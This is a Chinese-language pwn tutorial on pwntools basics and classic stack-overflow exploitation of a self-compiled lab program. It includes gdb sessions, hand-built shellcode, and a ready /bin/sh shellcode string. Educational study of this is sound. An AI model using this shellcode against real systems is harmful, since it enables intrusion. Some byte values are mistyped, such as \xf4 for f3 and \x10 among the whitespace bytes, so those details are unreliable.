Pwb 基础 约 1232 个字 106 行代码 预计阅读时间 7 分钟
安装: 导入: 连接可执行文件(或shell命令) p = process(./crackme.elf)
p = process(['nc','127.0.0.1','0721'])
设置环境 context.log_level = 'DEBUG'
开启debug模式 context.arch = 'amd64'
32位修改成别的 (如 i386) 发送 p.sendafter(b"what's your name: \n", b'Nimisora')
需要时 byte 流形式 暂停 交互模式 栈溢出 & SHELLCODE 了解StackOverflow,相信你就知道为什么要慎用gets和scanf读取输入了
经典的栈溢出攻击 一个似乎没有什么问题的简单交互程序:
#include <stdio.h>
int main () {
char name [ 64 ];
printf ( "What's your name?" );
scanf ( "%s" , name );
printf ( "Hello, %s! \n " , name );
return 0 ;
}
将其另存为 victim.c
,用 gcc 编译并运行:
$ gcc victim . c - o victim - g
$ . / victim
What ' s your name ? Jack
Hello , Jack !
这段程序声明了一个长度为 64 的字节型数组,然后打印提示信息,再读取用户输入的名字,最后输出 Hello 和用户输入的名字。代码似乎没什么问题, name 数组 64 个字节应该是够了吧?毕竟没人的姓名会有 64 个字母,毕竟我们的内存空间也是有限的。
但是,往坏处想一想,没人能阻止用户在终端输入 100 甚至 1000 个的字符,当那种情况发生时,会发生什么事情?
name 数组只有 64 个字节的空间,那些多余的字符呢,会到哪里去?
为了回答这两个问题,需要了解程序运行时 name 数组是如何保存在内存中的,这是一个局部变量,显然应该保存在栈上,那栈上的布局又是怎样的?让我们来分析一下程序中的汇编指令吧,先将目标程序的汇编码输出到 victim.asm 文件中,命令如下:
objdump -d victim -M intel > victim.asm
然后打开 victim.asm 文件,找到其中的 main 函数的代码:
0000000000400576 < main > :
400576: 55 push rbp
400577: 48 89 e5 mov rbp , rsp
40057 a: 48 83 ec 40 sub rsp , 0x40
40057 e: bf 44 06 40 00 mov edi , 0x400644
400583: b8 00 00 00 00 mov eax , 0x0
400588: e8 b3 fe ff ff call 400440 < printf@plt >
40058 d: 48 8 d 45 c0 lea rax ,[ rbp-0x40 ]
400591: 48 89 c6 mov rsi , rax
400594: bf 56 06 40 00 mov edi , 0x400656
400599: b8 00 00 00 00 mov eax , 0x0
40059 e: e8 cd fe ff ff call 400470 < __isoc99_scanf@plt >
4005 a3: 48 8 d 45 c0 lea rax ,[ rbp-0x40 ]
4005 a7: 48 89 c6 mov rsi , rax
4005 aa: bf 59 06 40 00 mov edi , 0x400659
4005 af: b8 00 00 00 00 mov eax , 0x0
4005 b4: e8 87 fe ff ff call 400440 < printf@plt >
4005 b9: b8 00 00 00 00 mov eax , 0x0
4005 be: c9 leaved
4005 bf: c3 ret
该函数的开头的 push rbp; mov rbp, rsp; sub rsp, 0x40 ,先保存 rbp 的数值,再令 rbp 等于 rsp ,然后将栈顶指针 rsp 减小 0x40 (也就是 64 ),相当于在栈上分配长度为 64 的空间
main 函数中只有 name 一个局部变量,显然这段空间就是 name 数组,即 name 的起始地址为 rbp-0x40 。再结合函数结尾的 leave; ret ,同时类比一下 32 位汇编中的函数栈帧布局,可以画出本程序中 main 函数的栈帧布局如下(请注意下图是按 栈顶在上、栈底在下 的方式画的):
Stack
+-------------+
| ... |
+-------------+
| ... |
name(-0x40)--> +-------------+
| ... |
+-------------+
| ... |
+-------------+
| ... |
+-------------+
| ... |
rbp(+0x00)--> +-------------+
| old rbp |
(+0x08)--> +-------------+ <--rsp points here
| ret rip |
+-------------+
| ... |
+-------------+
| ... |
+-------------+
rbp 即函数的栈帧基指针,在main函数中, name 数组保存在 rbp-0x40~rbp+0x00 之间, rbp+0x00 处保存的是 上一个函数的 rbp 数值 , rbp+0x08 处保存了 main 函数的返回地址 。当main函数执行完 leave 命令,执行到 ret 命令时:上一个函数的 rbp 数值已重新取回至 rbp 寄存器,栈顶指针 rsp 已经指向了保存这个返回地址的单元。之后的 ret 命令会将此地址出栈,然后跳到此地址。
现在可以回答刚才那个问题了,如果用户输入了很多很多字符,会发生什么事情。此时 scanf 函数会读取第一个空格字符之前的所有字符,然后全部拷贝到 name 指向的地址处。若用户输入了 100 个 “A” 再回车,则栈会是下面这个样子:
Stack
+-------------+
| ... |
+-------------+
| ... |
name(-0x40)--> +-------------+
| AAAAAAAA |
+-------------+
| AAAAAAAA |
+-------------+
| AAAAAAAA |
+-------------+
| AAAAAAAA |
rbp(+0x00)--> +-------------+
| AAAAAAAA | (should be "old rbp")
(+0x08)--> +-------------+ <--rsp points here
| AAAAAAAA | (should be "ret rip")
+-------------+
| AAAAAAAA |
+-------------+
| ... |
+-------------+
也就是说,上一个函数的 rbp 数值以及 main 函数的返回地址 全部都被改写了,当执行完 ret 命令后, cpu 将跳到 0x4141414141414141 ('AAAAAAAA') 地址处,开始执行此地址的指令。
在 Linux 系统中, 0x4141414141414141 是一个非法地址,因此程序会出错并退出。但是,如果用户输入了精心挑选的字符后,覆盖在这里的数值是一个合法的地址呢?如果这个地址上恰好保存了用户想要执行的恶意的指令呢?会发生什么事情?
以上就是 栈溢出 的本质,如果程序在接受用户输入的时候不对 下标越界 进行检查,直接将其保存到栈上,用户就有可能利用这个漏洞,输入 足够多的、精心挑选的字符 ,改写函数的 返回地址 (也可以是 jmp 、 call 指令的 跳转地址 ),由此获取 对 cpu 的控制 ,从而执行任何他想执行的动作。
下面介绍最经典的栈溢出攻击方法:
将想要执行的指令机器码写到 name 数组中,然后改写函数返回地址为 name 的起始地址,这样 ret 命令执行后将会跳转到 name 起始地址,开始执行 name 数组中的机器码。
注意,可执行地址中应该为机器码哦 # 依次执行:
❯ gcc -S -O2 sub.c
❯ as sub.s -o sub.o
❯ objdump -d sub.o
> cat sub.o
sub.o: 文件格式 elf64-x86-64
Disassembly of section .text:
0000000000000000 <sub>:
0 : f3 0f 1e fa endbr64
4 : 89 f8 mov %edi,%eax
6 : 29 f0 sub %esi,%eax
8 : c3 ret
机器码就是 \xf4\x0f\x1e\xfa\x89\xf8\x29\xf0\xc3
我们将用这种方法执行一段简单的程序,该程序仅仅是在终端打印 “Hack!” 然后正常退出。
首先要知道 name 的起始地址,打开 gdb ,对 victim 进行调试,输入 gdb -q ./victim ,再输入 break *main 在 main 函数的开头下一个断点,再输入 run 命令开始运行,如下:
$ gdb -q ./victim
Reading symbols from ./victim...done.
( gdb) break *main
Breakpoint 1 at 0x400576: file victim.c, line 3 .
( gdb) run
Starting program: /home/hcj/blog/rop/ch02/victim
Breakpoint 1 , main () at victim.c:3
3 int main() {
= > 0x0000000000400576 <main+0>: 55 push rbp
0x0000000000400577 <main+1>: 48 89 e5 mov rbp,rsp
0x000000000040057a <main+4>: 48 83 ec 40 sub rsp,0x40
( gdb)
此时程序停留在 main 函数的第一条指令处,输入 p &name[0] 和 x/gx $rsp 分别查看 name 的起始指针和此时的栈顶指针 rsp 。
( gdb) p & name[ 0 ]
$1 = 0x7fffffffe100 "\001"
( gdb) x/gx $rsp
0x7fffffffe148: 0x00007ffff7a54b45
( gdb)
得到 name 的起始指针为 0x7fffffffe100 、此时的栈顶指针 rsp 为 0x7fffffffe148 , name 到 rsp 之间一共 0x48 (也就是 72 )个字节,这和之前的分析是一致的。
下面来写攻击指令的机器码,首先写出汇编代码:
[ section .text ]
global _start
_start:
jmp END
BEGIN:
mov rax , 1
mov rdi , 1
pop rsi
mov rdx , 5
syscall
mov rax , 0x3c
mov rdi , 0
syscall
END:
call BEGIN
DB " Hack ! "
这段程序和第一节的 Hello-x64 基本一样,不同之处在于巧妙的利用了 call BEGIN 和 pop rsi 获得了字符串 “Hack” 的地址、并保存到 rsi 中。将以上代码保存为 shell.asm ,编译运行一下:
$ nasm -f elf64 shell.asm
$ ld -s -o shell shell.o
$ ./shell
Hack!
然后用 objdump 程序提取出机器码:
$ objdump -d shell -M intel
...
0000000000400080 <.text>:
400080: eb 1e jmp 0x4000a0
400082: b8 01 00 00 00 mov eax,0x1
400087: bf 01 00 00 00 mov edi,0x1
40008c: 5e pop rsi
40008d: ba 05 00 00 00 mov edx,0x5
400092: 0f 05 syscall
400094: b8 3c 00 00 00 mov eax,0x3c
400099: bf 00 00 00 00 mov edi,0x0
40009e: 0f 05 syscall
4000a0: e8 dd ff ff ff call 0x400082
4000a5: 48 61 rex.W (bad)
4000a7: 63 6b 21 movsxd ebp,DWORD PTR [rbx+0x21]
以上机器码一共 42 个字节, name 到 ret rip 之间一共 72 个字节,因此还需要补 30 个字节,最后填上 name 的起始地址 0x7fffffffe100 。 main 函数执行到 ret 命令时,栈上的数据应该是下面这个样子的(注意最后的 name 起始地址需要按 小端顺序 保存):
Stack
name(0x7fffffffe100)--> +---------------------------------+ <---+
| eb 1e (jmp END) | |
BEGIN--> +---------------------------------+ |
| b8 01 00 00 00 (mov eax,0x1) | |
+---------------------------------+ |
| bf 01 00 00 00 (mov edi,0x1) | |
+---------------------------------+ |
| 5e (pop rsi) | |
+---------------------------------+ |
| ba 05 00 00 00 (mov edx,0x5) | |
+---------------------------------+ |
| 0f 05 (syscall) | |
+---------------------------------+ |
| b8 3c 00 00 00 (mov eax,0x3c) | |
+---------------------------------+ |
| bf 00 00 00 00 (mov edi,0x0) | |
+---------------------------------+ |
| 0f 05 (syscall) | |
END-> +---------------------------------+ |
| e8 dd ff ff ff (call BEGIN) | |
+---------------------------------+ |
| 48 61 63 6b 21 ("Hack!") | |
(0x7fffffffe12a)--> +---------------------------------+ |
| "\x00"*30 | |
rsp(0x7fffffffe148)--> +---------------------------------+ |
| 00 e1 ff ff ff 7f 00 00 | ----+
+---------------------------------+
小端顺序
在python中, 小端顺序可以直接用 p64
函数转换(在32位系统中用p32
)
上图中的栈上的所有字节码就是我们需要输入给 scanf 函数的字符串,这个字符串一般称为 shellcode 。由于这段 shellcode 中有很多无法通过键盘输入的字节码,因此用 python 将其打印至文件中:
$ python -c 'print "\xeb\x1e\xb8\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x5e\xba\x05\x00\x00\x00\x0f\x05\xb8\x3c\x00\x00\x00\xbf\x00\x00\x00\x00\x0f\x05\xe8\xdd\xff\xff\xff\x48\x61\x63\x6b\x21" + "\x00"*30 + "\x00\xe1\xff\xff\xff\x7f\x00\x00"' > shellcode
现在可以对 victim 进行攻击了,不过目前只能在 gdb 的调试环境下进行攻击。输入 gdb -q ./victim ,再输入 run < shellcode :
$ gdb -q ./victim
Reading symbols from ./victim...done.
( gdb) run < shellcode
Starting program: /home/hcj/blog/rop/ch02/victim < shellcode
What' s your name?Hello, �
�!
Hack![ Inferior 1 ( process 2711 ) exited normally]
( gdb)
可以看到 shellcode 已经顺利的被执行,栈溢出攻击成功。
编写 shellcode 需要注意两个事情:
(1)为了使 shellcode 被 scanf 函数全部读取, shellcode 中不能含有空格字符(包括空格、回车、Tab键等),也就是说不能含有 \x10、\x0a、\x0b、\x0c、\x20 等这些字节码,否则 shellcode 将会被 截断 。如果被攻击的程序使用 gets、strcpy 这些字符串拷贝函数,那么 shellcode 中不能含有 \x00 。 (2)由于 shellcode 被加载到栈上的位置不是固定的,因此要求 shellcode 被加载到任意位置都能执行,也就是说 shellcode 中要使用 相对寻址 。 网上有非常多的 shellcode 可以参考使用,在这里可以直接使用 pwntools 自带的:
from pwn import *
sc_asm = shellcraft . sh () # 汇编格式
sc = asm ( sc_asm ) # 比特流格式
p . sendafter ( b "what's your name: \n " , sc . ljust ( 64 , b " \x90 " ))
# 向右补齐64位,按实际需求修改
最简单的 SHELLCODE 如下
sc = (
b " \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69 "
b " \x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80 "
) . ljust ( length , b ' \x90 ' )